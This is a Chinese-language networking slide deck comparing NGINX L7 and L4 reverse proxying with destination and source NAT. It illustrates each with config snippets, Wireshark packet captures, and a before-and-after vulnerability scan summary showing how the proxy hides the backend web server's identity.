NGINX Reverse Proxy

臺灣大學計資中心 網路組 游子興

L7 Revers Proxy L4 Revers Proxy Dst NAT/Port Mapping

運作原理比較



	Total TCP Sessions	Packet Changed	終端 Server 連線對象	Virtual Host、URL、 Content Cache、WAF、 Web Server/OS Hiding	Protocol Support
L7 Revers Proxy	2 (允許不同 Protocol/Payload)	Src IP/Port Dst IP/Port	NGINX (Zero Trust)	Support	HTTP HTTPs
L4 Revers Proxy	2 (相同 Protocol/Payload)	Src IP/Port Dst IP/Port	NGINX (Zero Trust)	N/A	TCP UDP
Dst NAT/Port Mapping	1	Dst IP/Port	Client	N/A	TCP UDP

L7 Reverse Proxy HTTP



http://demo1.buda.idv.tw/icons/ubuntu-logo.png

- * 支援
- * Virtual Server: Domain Name
- Content Cache

 /etc/nginx/sites-enabled/default server {

listen 80; server_name demo1.buda.idv.tw; location / {

proxy_pass http://172.16.0.7;

L7 Reverse Proxy HTTP

* 2 TCP Sessions: 兩個獨立 Session, 無關連.

* L7_HTTP_LoadBalance_1_WAN.pcap:尚未 FIN 結束

Ν	э.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info				
- F	- 1	0.000000	0	126	140.112.2.215	28892	140.112.237.5	80	ГСР	66	28892 → 80	[SYN]	Seq=0 Win=8192	Len=0 MS	S=1460 WS=
	2	0.000047	0	64	140.112.237.5	80	140.112.2.215	28892	ТСР	66	80 → 28892	[SYN,	ACK] Seq=0 Ack	=1 Win=64	240 Len=0
	3	0.000748	0	126	140.112.2.215	28892	140.112.237.5	80	ТСР	60	28892 → 80	[ACK]	Seq=1 Ack=1 Wi	n=65536 L	en=0
	2	0.002297	0	126	140.112.2.215	28892	140.112.237.5	80	HTTP	786	GET /icons/	ubunt	u-logo.png HTTP	/1.1	
	5	0.002310	0	64	140.112.237.5	80	140.112.2.215	28892	ТСР	54	80 → 28892	[ACK]	Seq=1 Ack=733	Win=64128	Len=0
	6	0.003088	0	64	140.112.237.5	80	140.112.2.215	28892	HTTP	193	HTTP/1.1 30	14 Not	Modified		
L	- 7	0.209306	0	126	140.112.2.215	28892	140.112.237.5	80	ТСР	60	28892 → 80	[ACK]	Seq=733 Ack=14	0 Win=655	36 Len=0

* L7_HTTP_LoadBalance_2_LAN.pcap: FIN 結束

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info		
	10.000000	0	64	172.16.0.226	56376	172.16.0.7	80	тср	74	56376 → 80	[SYN]	Seq=0 Win=64240 Len=0 MSS=1460 S
)	2 0.000109	0	64	172.16.0.7	80	172.16.0.226	56376	тср	74	80 → 56376	[SYN,	ACK] Seq=0 Ack=1 Win=65160 Len=0
1	3 0.000129	0	64	172.16.0.226	56376	172.16.0.7	80	тср	66	56376 → 80	[ACK]	Seq=1 Ack=1 Win=64256 Len=0 TSva
	4 0.000157	0	64	172.16.0.226	56376	172.16.0.7	80	HTTP	786	GET /icons,	/ubunti	u-logo.png HTTP/1.0
	5 0.000221	0	64	172.16.0.7	80	172.16.0.226	56376	тср	66	80 → 56376	[ACK]	Seq=1 Ack=721 Win=64512 Len=0 TS
	6 0.000502	0	64	172.16.0.7	80	172.16.0.226	56376	HTTP	210	HTTP/1.1 30	04 Not	Modified
	7 0.000507	0	64	172.16.0.226	56376	172.16.0.7	80	тср	66	56376 → 80	[ACK]	Seq=721 Ack=145 Win=64128 Len=0
	8 0.000548	0	64	172.16.0.7	80	172.16.0.226	56376	тср	66	80 → 56376	[FIN,	ACK] Seq=145 Ack=721 Win=64512 L
	9 0.000586	0	64	172.16.0.226	56376	172.16.0.7	80	тср	66	56376 → 80	[FIN,	ACK] Seq=721 Ack=146 Win=64128 L
	10 0.000631	0	64	172.16.0.7	80	172.16.0.226	56376	тср	66	80 → 56376	[ACK]	Seq=146 Ack=722 Win=64512 Len=0

L7 Reverse Proxy Identify technologies on websites

Original Web Server/OS Hiding



區網弱掃報告

更改架構前

Alerts distribution

Total alerts found	15
\rm High	0
Medium	3
① Low	7
 Informational 	5

更改架構後

Alerts distribution

Total alerts found						
\rm High	0					
Medium	2					
① Low	7					
Informational	4					



Medium

O Apache httpd remote denial of service

Severity	Medium
Reported by module	/Scripts/PerServer/Version_Check.script

Description

A denial of service vulnerability has been found in the way the multiple overlapping ranges are handled by the Apache HTTPD server:

http://seclists.org/fulldisclosure/2011/Aug/175

An attack tool is circulating in the wild. Active use of this tools has been observed. The attack can be done remotely and with a modest number of requests can cause very significant memory and CPU usage on the server.

This alert was generated using only banner information. It may be a false positive.

Affected Apache versions (1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19).

Impact

Remote Denial of Service

Recommendation

Upgrade to the latest version of Apache HTTP Server (2.2.20 or later), available from the Apache HTTP Server Project Web site.

References

CVE-2011-3192 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) Apache HTTPD Security ADVISORY (http://mail-archives.apache.org/mod_mbox/httpdannounce/201108.mbox/%3C20110824161640.122D387DD@minotaur.apache.org%3E) Apache httpd Remote Denial of Service (memory exhaustion).(https://www.exploit-db.com/exploits/17696) CVE-2011-3192 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192)

Affected items

Web Server Details Version detected: 2.2.15 . Request headers



L4 Reverse Proxy TCP Port 8080 (HTTP)



http://140.112.237.5:8080/icons/ubuntu-logo.png

- * 不支援
- * Virtual Server: Domain Name
- Content Cache

* /etc/nginx/nginx.conf
stream {
 server {
 listen 8080;
 proxy_pass 172.16.0.7:80;
}

L4 Reverse Proxy TCP Port 8080 (HTTP)

* 2 TCP Sessions: Payload 1對1 對映、但 TTL、Length 都不相同

* L4_HTTP_LoadBalance_1_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info
5 1	0.000000	0	126	140.112.2.215	33589	140.112.237.5	8080	ГСР	66	33589 → 8080 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 W
2 2	0.000082	0	64	140.112.237.5	8080	140.112.2.215	33589	тср	66	8080 → 33589 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
3	0.000669	0	126	140.112.2.215	33589	140.112.237.5	8080	тср	60	33589 → 8080 [ACK] Seq=1 Ack=1 Win=65536 Len=0
4	0.018355	0	126	140.112.2.215	33589	140.112.237.5	8080	HTTP	619	GET /icons/ubuntu-logo.png HTTP/1.1
-	0.018382	0	64	140.112.237.5	8080	140.112.2.215	33589	тср	54	8080 → 33589 [ACK] Seq=1 Ack=566 Win=64128 Len=0
6	0.019334	0	64	140.112.237.5	8080	140.112.2.215	33589	HTTP	235	HTTP/1.1 304 Not Modified
7	0.219447	0	126	140.112.2.215	33589	140.112.237.5	8080	тср	60	33589 → 8080 [ACK] Seq=566 Ack=182 Win=65280 Len=0

* L4_HTTP_LoadBalance_2_LAN.pcap

No	. Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info
4	1 0.000000	0	64	172.16.0.226	36936	172.16.0.7	80	ГСР	74	36936 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 S.
	2 0.000142	0	64	172.16.0.7	80	172.16.0.226	36936	тср	74	80 → 36936 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0
1	3 0.000160	0	64	172.16.0.226	36936	172.16.0.7	80	тср	66	36936 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSva
	4 0.017519	0	64	172.16.0.226	36936	172.16.0.7	80	НТТР	631	GET /icons/ubuntu-logo.png HTTP/1.1
4	5 0.017584	0	64	172.16.0.7	80	172.16.0.226	36936	тср	66	80 → 36936 [ACK] Seq=1 Ack=566 Win=64640 Len=0 TS [.]
	6 0.018406	0	64	172.16.0.7	80	172.16.0.226	36936	НТТР	247	HTTP/1.1 304 Not Modified
T	7 0.018409	0	64	172.16.0.226	36936	172.16.0.7	80	тср	66	36936 → 80 [ACK] Seq=566 Ack=182 Win=64128 Len=0 `

L4 Reverse Proxy Identify technologies on websites

Without Original Web Server/OS Hiding



Pfsense WAN Port: tcpdump -i em0 -w DNAT_1_WAN.pcap Pfsense LAN Port: tcpdump -i em1 -w DNAT_2_LAN.pcap

Destination NAT/Port Mapping



Destination NAT/Port Mapping

* 1 TCP Session: <mark>僅變更 Dst IP/Port</mark>

* DNAT_HTTP_1_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info				
:	L 0.000000	0	126	140.112.2.215	4679	140.112.3.82	8080	тср	66	4679 → 8080 [SYN] Seq=	0 Win=8192	Len=0	MSS=1460 WS=
	2 0.000160	0	63	140.112.3.82	8080	140.112.2.215	4679	ТСР	66	8080 → 4679 [SYN, ACK]	Seq=0 Ack	=1 Win=	64240 Len=0
	3 0.000765	0	126	140.112.2.215	4679	140.112.3.82	8080	ТСР	60	4679 → 8080 [/	ACK] Seq=	1 Ack=1 Wi	n=66048	Len=0
	4 0.012915	0	126	140.112.2.215	4679	140.112.3.82	8080	HTTP	618	GET /icons/ub	untu-logo	.png HTTP/	1.1	
!	5 0.013011	0	63	140.112.3.82	8080	140.112.2.215	4679	тср	54	8080 → 4679 [/	ACK] Seq=	1 Ack=565 N	/in=641	28 Len=0
	5 0.013257	0	63	140.112.3.82	8080	140.112.2.215	4679	HTTP	235	HTTP/1.1 304	Not Modif	ied		
	0.217562	0	126	140.112.2.215	4679	140.112.3.82	8080	тср	60	4679 → 8080 [/	ACK] Seq=	565 Ack=18	2 Win=6	6048 Len=0

* DNAT_HTTP_2_LAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info
2 1	0.000000	0	125	140.112.2.215	4679	172.16.0.7	80	ТСР	66	4679 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=960 WS=:
2	0.000118	0	64	172.16.0.7	80	140.112.2.215	4679	ТСР	66	80 \rightarrow 4679 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0
Э	0.000742	0	125	140.112.2.215	4679	172.16.0.7	80 (ТСР	54	4679 → 80 [ACK] Seq=1 Ack=1 Win=66048 Len=0
4	0.012892	0	125	140.112.2.215	4679	172.16.0.7	80	HTTP	618	GET /icons/ubuntu-logo.png HTTP/1.1
5	0.012973	0	64	172.16.0.7	80	140.112.2.215	4679	ТСР	60	80 → 4679 [ACK] Seq=1 Ack=565 Win=64128 Len=0
e	0.013218	0	64	172.16.0.7	80	140.112.2.215	4679	HTTP	235	HTTP/1.1 304 Not Modified
7	0.217538	0	125	140.112.2.215	4679	172.16.0.7	80 (ТСР	54	4679 → 80 [ACK] Seq=565 Ack=182 Win=66048 Len=0

Destination NAT/Port Mapping Identify technologies on websites

Without Original Web Server/OS Hiding

→ C 🚺 ▲ 不安全 | 140.112.3.82:8080/icons/ubuntu-l..

Wappaly	/zer	
TECHNOLOGIES	MORE INFO	
網頁伺服器	作業系統	
<u>Apache</u> 2.4.41	O Ubuntu	

補充: SOURCE NAT

Source NAT



Source NAT: 改變封包 Src IP/Ports

Source NAT

* 1 TCP Session: <mark>僅變更 Src IP/Port</mark>

* SNAT_RDP_1_LAN.pcap

-																	_
No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info							
:	1 0.000000	0	128	172.16.0.17	59493	120.96.0.222	3389	ТСР	66	59493 -	→ 3389	[SYN]	Seq=0 Win=6	4240 Le	en=0 M	ISS=1460	WS
ſ	2 0.000816	0	124	120.96.0.222	3389	172.16.0.17	59493	ТСР	66	3389 →	59493	[SYN,	ACK] Seq=0.	A⊂k=1 \	/in=64	1000 Len	=0
	3 0.002090	0	128	172.16.0.17	59493	120.96.0.222	3389	тср	60	59493 -	→ 3389	[ACK]	Seq=1 Ack=1	Win=20	52912	Len=0	
	4 1.931637	0	128	172.16.0.17	59493	120.96.0.222	3389	ТСР	60	59493 -	→ 3389	[FIN,	ACK] Seq=1	4⊂k=1 \	/in=26	2912 Le	n=0
	5 1.932199	0	124	120.96.0.222	3389	172.16.0.17	59493	ТСР	54	3389 →	59493	[ACK]	Seq=1 Ack=2	Win=64	4000 L	en=0	

* SNAT_RDP_2_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protoco	Length	Info					
2	1 0.000000	0	127	140.112.3.82	59671	120.96.0.222	3389 1	ТСР	66	59671	→ 3389	[SYN]	Seq=0 Win=64240) Len=0	MSS=960 WS=
þ	2 0.000783	0	125	120.96.0.222	3389	140.112.3.82	59671	ТСР	66	3389 ·	→ 59671	[SYN,	ACK] Seq=0 Ack=	1 Win=0	64000 Len=0
	3 0.002072	0	127	140.112.3.82	59671	120.96.0.222	3389 1	ТСР	54	59671	→ 3389	[ACK]	Seq=1 Ack=1 Wir	=262912	2 Len=0
	4 1.931621	0	127	140.112.3.82	59671	120.96.0.222	3389 1	ТСР	54	59671	→ 3389	[FIN,	ACK] Seq=1 Ack=	1 Win=2	262912 Len=0
	5 1.932166	0	125	120.96.0.222	3389	140.112.3.82	59671	ТСР	60	3389 ·	→ 59671	[ACK]	Seq=1 Ack=2 Wir	=64000	Len=0

Source NAT vs. Destination NAT

	功能	Packet Change
Src NAT	Intranet Client (Private IP) 內對外 連線 Internet Server(Public IP)	Src IP/Port
Dst NAT	Internet Client(Public IP) 外對內 連線 Intranet Server(Private IP)	Dst IP/Port

補充1: L4 Reverse Proxy

Payload 1對1對映 (不包含 TCP Flag 封包)

L4 Reverse Proxy TCP Port 22 (SSH)



21

proxy_pass 172.16.0.7:22;

L4 Reverse Proxy TCP Port 22 (SSH)

- * SSH to 140.112.237.5:8022
 - * SSH Login

🚰 user@140.112.2	<u>237.5's</u> passw	ord:		
Jelcome to Ubunti	1 20.04.4 LTS	(GNU/Linux	5.4.0-125-generic	x86_64)

user@ubuntu20:~\$ ifconfig ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.16.0.7 netmask 255.255.255.0 broadcast 172.16.0.255

- Wireshark
 - * 預設無法辨識 Port: 8022

Wireshark · Prefer	es	
Spice SPRT SRVLOC SSCOP	SSH Protocol ☑ Reassemble SSI Key log filename	H buffers spanning multiple TCP segments
SSDP		Browser
<u>SSH</u> SSyncP	TCP port(s) 22,29	9418,8022

0.	T	TL	Source	Src Port	Destination	Dest Port	Protocol	Length	Info	
	1	125	120.96.0.222	55098	8 140.112.237.5	4802	C CP	046	Bala	8022 [SYN] 5010 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
	2	64	140.112.237.5	8022	2 120.96.0.222	5 50 98	З ТСР —	66	8022 →	55098 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
	3	125	120.96.0.222	55098	8 140.112.237.5	8022	2 ТСР	60	55098 →	• 8022 [ACK] Seq=1 Ack=1 Win=262656 Len=0
	4	125	120.96.0.222	55098	8 140.112.237.5	8022	2 SSHv2	82	Client:	Protocol (SSH-2.0-PuTTY_Release_0.76) 非母個 Payload 皆回應 ACK
	5	64	140.112.237.5	8022	120.96.0.222	55.098	3 ТСР	54	8022 →	55098 [ACK] Seq=1 Ack=29 Win=64256 Len=0
	6	64	140.112.237.5	8022	120.96.0.222	55098	3 SSHv2	95	Server:	Protocol (SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4) Windows
	7	64	140.112.237.5	8022	120.96.0.222	55098	3 SSHv2	1110	Server:	Key Exchange Init
	8	125	120.96.0.222	55098	8 140.112.237.5	8022	2 TCP	60	55098 →	• 8022 [ACK] Seq=29 Ack=1098 Win=261632 Len=0
	9	125	120.96.0.222	55098	8 140.112.237.5	8022	2 SSHv2	1310	Client:	Key Exchange Init
	10	64	140.112.237.5	8022	120.96.0.222	55098	3 ТСР	54	8022 →	55098 [ACK] Seq=1098 Ack=1285 Win=64128 Len=0
	11	125	120.96.0.222	55098	8 140.112.237.5	8022	2 SSHv2	102	Client:	Elliptic Curve Diffie-Hellman Key Exchange Init
	12	64	140.112.237.5	8022	120.96.0.222	55098	3 ТСР	54	8022 →	55098 [ACK] Seq=1098 Ack=1333 Win=64128 Len=0
	13	64	140.112.237.5	8022	120.96.0.222	55098	3 SSHv2	518	Server:	Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys, Encrypted packet (len=256)
	14	125	120.96.0.222	55098	8 140.112.237.5	8022	2 SSHv2	134	Client:	New Keys, Encrypted packet (len=64)
	15	64	140.112.237.5	8022	120.96.0.222	55098	3 ТСР	54	8022 →	55098 [ACK] Seq=1562 Ack=1413 Win=64128 Len=0
	16	64	140.112.237.5	8022	2 120.96.0.222	55098	3 SSHv2	118	Server:	Encrypted packet (len=64)
	17	125	120.96.0.222	55098	140.112.237.5	8022	2 TCP	60	55098 →	• 8022 [ACK] Seq=1413 Ack=1626 Win=262656 Len=0
	1	64-1	172.16.0.226	35084	172.16.0.7	22	ТСР	74	35084 →	22 [SYN] Seg=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2823702048 TSecr=0 WS=128
	2	64-1	172.16.0.7	22	172.16.0.226	L45024	S₽_L	_oad	Balar	Gesi, Loc Nep Gap = 1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=1475222517 TSecre
	3	64 1	172.16.0.226	35084	172.16.0.7	22	ТСР	66	35084 →	22 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2823702048 TSecr=1475222517
	4	64-1	172.16.0.226	35084	172.16.0.7	22	SSHv2	94	Client:	Protocol (SSH-2.0-PuTTY_Release_0.76)
	5	64 1	172.16.0.7	22	172.16.0.226	35084	ТСР	66	22 → 35¢	084 [ACK] Seg=1 Ack=29 Win=65152 Len=0 TSval=1475222517 TSecr=2823702049
	6	64 1	172.16.0.7	22	172.16.0.226	35084	SSHv2	107	Server:	Protocol (SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4)
	7	64 1	172.16.0.226	35084	172.16.0.7	22	ТСР	66	35084 →	22 [ACK] Seq=29 Ack=42 Win=64256 Len=0 TSval=2823702057 TSecr=1475222525
	8	64-1	172.16.0.7	22	172.16.0.226	35084	SSHv2	1122	Server:	Key Exchange Init
	9	64-1	172.16.0.226	35084	172.16.0.7	22	ТСР	66	35084 →	22 [ACK] Seq=29 Ack=1098 Win=64128 Len=0 TSval=2823702057 TSecr=1475222526
	10	64-1	172.16.0.226	35084	172.16.0.7	22	SSHv2	1322	Client:	Key Exchange Init
	11	64-1	172.16.0.7	22	172.16.0.226	35084	ТСР	66 (22 → 35¢	084 [ACK] Seq=1098 Ack=1285 Win=64128 Len=0 TSval=1475222527 TSecr=2823702059
	12	64-1	172.16.0.226	35084	172.16.0.7	22	SSHv2	114	Client:	Elliptic Curve Diffie-Hellman Key Exchange Init
_	13	64-1	172.16.0.7	22	172.16.0.226	35084	ТСР	66	22 → 35¢	084 [ACK] Seq=1098 Ack=1333 Win=64128 Len=0 TSval=1475222529 TSecr=2823702061
Г	14	64 1	172.16.0.7	22	172.16.0.226	35084	SSHv2	530	Server:	Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys, Encrypted packet (len=256)
Т	15	64-1	172.16.0.226	35084	172.16.0.7	22	ТСР	66	35084 →	22 [ACK] Seq=1333 Ack=1562 Win=64128 Len=0 TSval=2823702064 TSecr=1475222533
	16	64 1	172.16.0.226	35084	172.16.0.7	22	SSHv2	146	Client:	New Keys, Encrypted packet (len=64)
	17	64 1	172.16.0.7	22	172.16.0.226	35084	ТСР	66	22 → 35¢	084 [ACK] Seq=1562 Ack=1413 Win=64128 Len=0 TSval=1475222545 TSecr=2823702077
	18	64 1	172.16.0.7	22	172.16.0.226	35084	SSHv2	130	Server:	Encrypted packet (len=64)
	19	64 1	172.16.0.226	35084	172.16.0.7	22	TCP	66	35084 →	22 [ACK] Seg=1413 Ack=1626 Win=64128 Len=0 TSval=2823702077 TSecr=1475222545

補充2: L7 Reverse Proxy

2 TCP Sessions Payload 不同

L7 Reverse Proxy HTTP



140.112.237.5:80 172.16.0.226

http://demo1.buda.idv.tw/icons/ubuntu-logo.png

* /etc/nginx/sites-enabled/default
server {

listen 80;

server_name demo1.buda.idv.tw;
proxy_set_header X-Real-IP \$remote_addr;
proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
location / {

proxy_pass http://172.16.0.7;

L7_HTTP_LoadBalance2_1_WAN.pcap

No.	Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port	Protocol	Length	Info	
Г	10.000000	Ø	125	120.96.0.222	59741	140.112.237.5	80	ТСР	66	59741 → 80 [SYN] Se	q=0 Win=64240 Len=0 MSS=1460 W
	2 0.000058	Ø	64	140.112.237.5	80	120.96.0.222	59741	ТСР	66	80 → 59741 [SYN, AC	K] Seq=0 Ack=1 Win=64240 Len=0
	3 0.001031	Ø	125	120.96.0.222	59741	140.112.237.5	80	ТСР	60	59741 → 80 [ACK] Se	q=1 Ack=1 Win=262656 Len=0
•	4 0.002895	0	125	120.96.0.222	59741	140.112.237.5	80	HTTP	619	GET /icons/ubuntu-1	ogo.png HTTP/1.1
	5 0.002910	Ø	64	140.112.237.5	80	120.96.0.222	59741	ТСР	54	80 → 59741 [ACK] Se	q=1 Ack=566 Win=64128 Len=0
+	6 0.003704	0	64	140.112.237.5	80	120.96.0.222	59741	HTTP	193	HTTP/1.1 304 Not Mo	dified
	7 0.059254	0	125	120.96.0.222	59741	140.112.237.5	80	ТСР	60	59741 → 80 [ACK] Se	q=566 Ack=140 Win=262656 Len=0

< 🗌

> Frame 4: 619 bytes on wire (4952 bits), 619 bytes captured (4952 bits)

> Ethernet II, Src: Cisco_f8:21:08 (8c:94:1f:f8:21:08), Dst: VMware_f9:ad:9b (00:0c:29:f9:ad:9b)

> Internet Protocol Version 4, Src: 120.96.0.222, Dst: 140.112.237.5

> Transmission Control Protocol, Src Port: 59741, Dst Port: 80, Seq: 1, Ack: 1, Len: 565

Hypertext Transfer Protocol

> GET /icons/ubuntu-logo.png HTTP/1.1\r\n

Host: demo1.buda.idv.tw\r\n

Connection: keep-alive\r\n

Cache-Control: max-age=0\r\n

Upgrade-Insecure-Requests: 1\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36\r\n

L7_HTTP_LoadBalance2_2_LAN.pcap

N	o. Time	tcp.stream	TTL	Source	Src Port	Destination	Dest Port Protocol	Length Info		
Г	1 0.000000	0	64	172.16.0.226	58050	172.16.0.7	80 TCP	74 58050 → 80	[SYN]	Seq=0 Win=64240 Len=0 MSS=1460 S
	2 0.000097	0	64	172.16.0.7	80	172.16.0.226	58050 TCP	74 80 → 58050	[SYN,	ACK] Seq=0 Ack=1 Win=65160 Len=0
	3 0.000114	0	64	172.16.0.226	58050	172.16.0.7	80 TCP	66 58050 → 80	[ACK]	Seq=1 Ack=1 Win=64256 Len=0 TSva
	4 0.000142	0	64	172.16.0.226	58050	172.16.0.7	80 HTTP	675 GET /icons/	/ubunt	u-logo.png HTTP/1.0
	5 0.000190	Ø	64	172.16.0.7	80	172.16.0.226	58050 TCP	66 80 → 58050	[ACK]	Seq=1 Ack=610 Win=64640 Len=0 TS
•	6 0.000646	Ø	64	172.16.0.7	80	172.16.0.226	58050 HTTP	210 HTTP/1.1 30	04 Not	Modified
	7 0.000648	Ø	64	172.16.0.226	58050	172.16.0.7	80 TCP	66 58050 → 80	[ACK]	Seq=610 Ack=145 Win=64128 Len=0
	8 0.000699	Ø	64	172.16.0.226	58050	172.16.0.7	80 TCP	66 58050 → 80	[FIN,	ACK] Seq=610 Ack=145 Win=64128 L
	9 0.000708	0	64	172.16.0.7	80	172.16.0.226	58050 TCP	66 80 → 58050	[FIN,	ACK] Seq=145 Ack=610 Win=64640 L
	10 0.000716	0	64	172.16.0.226	58050	172.16.0.7	80 TCP	66 58050 → 80	[ACK]	Seq=611 Ack=146 Win=64128 Len=0
	- 11 0.000738	0	64	172.16.0.7	80	172.16.0.226	58050 TCP	66 80 → 58050	[ACK]	Seq=146 Ack=611 Win=64640 Len=0
1										

> Frame 4: 675 bytes on wire (5400 bits), 675 bytes captured (5400 bits)

Ethernet II, Src: VMware_f9:ad:91 (00:0c:29:f9:ad:91), Dst: VMware_6d:b4:41 (00:0c:29:6d:b4:41)

Internet Protocol Version 4, Src: 172.16.0.226, Dst: 172.16.0.7

> Transmission Control Protocol, Src Port: 58050, Dst Port: 80, Seq: 1, Ack: 1, Len: 609

Hypertext Transfer Protocol

> GET /icons/ubuntu-logo.png HTTP/1.0\r\n

X-Real-IP: 120.96.0.222\r\n

X-Forwarded-For: 120.96.0.222\r\n Payload 不同,多了兩個參數

Host: 172.16.0.7\r\n

Connection: close\r\n

Cache-Control: max-age=0\r\n

Upgrade-Insecure-Requests: 1\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36\r\n

補充3: L7 Reverse Proxy HTTPs 加密

2 TCP Sessions 允許不同 Protocol 末端 Server 為 Internet Web Site



No.	Time	tcp.stream	TTL Source	Src Port 1	Destination	Dest Port	Protocol	Length I	info
۱,	1 0.000000	L7 H	TTPS20L96adE	alance		bcap ⁸⁰	тср	66 5	57239 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 S/
i -	2 0.000051	- 0	64 140.112.237.	5 80	120.96.0.222	57239	тср	66 8	30 → 57239 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=140
	3 0.000795	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	тср	60 5	57239 → 80 [ACK] Seq=1 Ack=1 Win=2102272 Len=0
	4 0.001456	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	HTTP	502.0	GET /images/logo2.gif HTTP/1.1
	5 0.001468	0	64 140.112.237.	5 80 :	120.96.0.222	57239	тср	54 8	30 → 57239 [ACK] Seq=1 Ack=449 Win=64128 Len=0
	6 0.004813	0	64 140.112.237.	5 80 3	120.96.0.222	57239	HTTP	3566 H	HTTP/1.1 200 OK (GIF89a) 封包無加密
	7 0.005620	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	тср	60 5	57239 → 80 [ACK] Seq=449 Ack=2921 Win=2102272 Len=0
	8 0.056413	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	тср	60 5	57239 → 80 [ACK] Seq=449 Ack=3513 Win=2101760 Len=0
	9 4.007475	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	тср	60 5	57239 → 80 [FIN, ACK] Seq=449 Ack=3513 Win=2101760 Len=0
	10 4.007569	0	64 140.112.237.	5 80 3	120.96.0.222	57239	тср	54 8	30 → 57239 [FIN, ACK] Seq=3513 Ack=450 Win=64128 Len=0
	11 4.008287	0	125 120.96.0.222	2 57239 :	140.112.237.5	5 80	тср	60 5	57239 → 80 [ACK] Seq=450 Ack=3514 Win=2101760 Len=0
No.	Time	tcp.stream 1	TL Source	Src Port	Destination	Dest	Port P	rotocol	Length Info
I	10.000000	, <u> </u>	64 140 112 237	5 3586	4 140 112 10	5.200	443 T	'CP	74 35864 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PE
e	2 0.000215	L/_6			3-140.112.23	pcap	35864 T	СР	74 443 → 35864 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1
.I	3 0.000225	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	СР	66 35864 → 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=4054
	4 0.000448	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	LSv1.2	286 Client Hello
!	5 0.000630	0	254 140.112.105.	200 44	3 140.112.237	7.5 3	35864 T	СР	66 443 → 35864 [ACK] Seq=1 Ack=221 Win=14820 Len=0 TSval=19
:	6 0.001037	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	LSv1.2	213 Server Hello, Change Cipher Spec, Encrypted Handshake Me
•	7 0.001043	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	СP	66 35864 → 443 [ACK] Seq=221 Ack=148 Win=64128 Len=0 TSval=
	8 0.001175	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	LSv1.2	117 Change Cipher Spec, Encrypted Handshake Message
	9 0.001197	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	LSv1.2	541 Application Data
	10 0.001393	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	СP	66 443 → 35864 [ACK] Seq=148 Ack=747 Win=15346 Len=0 TSval=
:	11 0.001397	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	СР	66 [TCP Dup ACK 10#1] 443 → 35864 [ACK] Seq=148 Ack=747 Win
	12 0.003048	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	СР	1514 443 → 35864 [ACK] Seq=148 Ack=747 Win=15346 Len=1448 TSv
:	13 0.003055	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	СP	66 35864 → 443 [ACK] Seq=747 Ack=1596 Win=64128 Len=0 TSval
	14 0.003064	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	LSv1.2	95 Application Data
:	15 0.003067	0	64 140.112.237.	5 3586	4 140.112.105	5.200	443 T	СР	66 35864 → 443 [ACK] Seq=747 Ack=1625 Win=64128 Len=0 TSval
•	16 0.003153	0	254 140.112.105.	200 44	3 140.112.237	7.5	35864 T	СР	1514 443 → 35864 [ACK] Seq=1625 Ack=747 Win=15346 Len=1448 TS
